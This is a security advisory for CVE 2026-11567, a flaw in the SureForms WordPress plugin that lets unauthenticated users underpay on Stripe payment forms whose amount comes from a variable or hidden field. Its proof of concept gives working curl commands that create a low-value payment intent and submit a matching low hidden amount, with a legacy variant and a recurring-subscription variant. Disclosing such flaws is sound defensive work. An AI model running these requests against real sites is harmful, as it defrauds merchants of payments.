SureForms < 2.11.1 – Unauthenticated Payment Amount Bypass | CVE 2026-11567

Description

The plugin does not properly validate the payment amount on forms that use a dynamically-sourced (variable/hidden) payment amount, allowing unauthenticated users to underpay for the configured product or subscription. Forms using a fixed configured price are not affected.

Proof of Concept

Prerequisites:
- A SureForms payment form with Stripe connected.
- Variant A: the form's payment amount is sourced from a variable/hidden amount field (e.g. a price computed client-side and stored in a hidden field). A configured minimum-amount floor, if any, is the only lower bound.
- Variant B: a payment form created before SureForms 2.3.0 whose form meta has an empty variable-amount field block name (no floor applies).

Variant A (variable/hidden amount):
1. Load the public form page and read the submit token, form id, payment block id, and the hidden amount field name from the HTML:
   curl -s "${TARGET}/payment-form/" | grep -E 'data-submit-token|data-form-id|srfm-hidden|srfm-payment'

2. Stage 1 - create a PaymentIntent for a low amount at or above the form minimum (e.g. 200 cents), unauthenticated (srfm_create_payment_intent is registered under wp_ajax_nopriv_):
   curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
     -d "action=srfm_create_payment_intent" -d "form_id=${FORM_ID}" -d "block_id=${BLOCK_ID}" \
     -d "amount=200" -d "currency=usd" -d "customer_email=attacker@example.com" -d "customer_name=Attacker"
   # response contains payment_intent_id and client_secret

3. Stage 2 - submit the form via the unauthenticated REST endpoint, putting the SAME low value in the hidden amount field:
   curl -s -X POST "${TARGET}/wp-json/sureforms/v1/submit-form" \
     -H "Content-Type: application/json" -H "X-WP-Submit-Token: ${TOKEN}" \
     -d '{"form-id": <FORM_ID>, "srfm-payment-<BLOCK_ID>-lbl-payment-1": "{\"paymentId\":\"<PAYMENT_INTENT_ID>\",\"blockId\":\"<BLOCK_ID>\",\"paymentType\":\"one-time\"}", "<HIDDEN_AMOUNT_FIELD>": "2.00", "srfm-honeypot-field": ""}'

4. The submission is accepted at the attacker-chosen amount: server-side, the "expected" amount is taken from the value the attacker submitted (and compared against the amount the attacker themselves chose in Stage 1), so the form's intended price is never enforced. The form is processed (confirmation, emails, digital access) at the underpaid amount.

Variant B (legacy form, no floor): repeat Stage 1 + Stage 2 with any amount. Amount validation is skipped entirely and any value (e.g. 1 cent) is accepted.

Subscription variant: use action=srfm_create_subscription_intent in Stage 1; the underpaid amount becomes the recurring Stripe price, so every future billing cycle is charged the fraudulent amount.

Note: fixed-price forms (amount_type=fixed) are NOT affected - Stage 1 validates the submitted amount against the server-configured price.